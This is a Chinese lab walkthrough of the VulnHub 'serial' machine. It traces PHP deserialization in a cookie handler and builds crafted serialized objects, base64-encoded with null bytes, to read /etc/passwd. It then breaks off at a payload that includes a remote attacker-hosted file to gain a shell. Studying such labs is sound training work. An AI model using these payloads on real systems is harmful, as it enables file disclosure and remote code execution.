php反序列化靶机serial实战靶机

靶机描述今天研究一下php反序列化，靶机serial实战。目标为获取root权限。
靶机信息可以去vulhub上下载此靶机：
https://www.vulnhub.com/entry/serial-1,349/
下载好，之后，使用Vmware新建虚拟机打开，步骤如下：

文章图片

文章图片

文章图片

文章图片

渗透测试过程探测主机存活（目标主机IP地址）

-PS/-PA/-PU/-PY:这些参数即可以探测主机存活，也可以同时进行端口扫描。（例如：-PS，发送TCP SYN包进行主机探测）
扫描到存活主机：192.168.242.129，开放了22和80端口

文章图片

访问web服务

1.首先访问80端口，页面只有一行文本：Hello sk4This is a beta test for new cookie handler，提示这里是新cookie进行程序测试，那我们查看cookie。

文章图片

文章图片

文章图片

【php反序列化靶机serial实战】思路一：

文章图片

文章图片

思路二：
目录扫描

文章图片

文章图片

文章图片

代码审计

1.通过代码审计得知，首先index.php文件包含了user.class.php文件，对cookie中的user参数进行了序列化和base64编码，然后user.class.php文件包含了log.class.php，且定义了两个类，分别是Welcome和User，并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log，且handler函数对变量还进行了文件包含和输出。

文章图片

2.经过代码审计可构造payload，尝试读取passwd文件，payload如下：
O:4:"User":2:{s:10:" User name"; s:5:"admin"; s:9:" User wel"; O:3:"Log":1:{s:8:"type_log"; s:11:"/etc/passwd"; }}，然后在命令行窗口，打开python，添加base64模块，再经序列化和base64编码后，进行执行，但是一直不能成功执行。

文章图片

这里我们仍然使用python进行操作，首先使用replace()函数将payload中所有的空格替换成\x00：

'O:4:"User":2:{s:10:" User name";
s:5:"admin";
s:9:" User wel";
O:3:"Log":1:{s:8:"type_log";
s:11:"/etc/passwd";
}}'.replace(' ','\x00')

，然后再使用base64模块进行编码:

base64.b64encode(b'O:4:"User":2:{s:10:"\x00User\x00name";
s:5:"admin";
s:9:"\x00User\x00wel";
O:3:"Log":1:{s:8:"type_log";
s:11:"/etc/passwd";
}}')

，编码后的payload如下：

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==

文章图片

4.然后在burpsuite的repeater模块中，将payload赋值给cookie中的user，然后点击 [go]，读取到passwd文件，可以看到可登录系统用户除了root，还有sk4。

文章图片

获取shell

文章图片

2.然后构造payload：O:4:"User":2:{s:10:"\x00User\x00name"; s:5:"admin"; s:9:"\x00User\x00wel"; O:3:"Log":1:{s:8:"type_log"; s:26:"http://本地IP/c.txt"; }}，然后进行序列化和base64编码执行。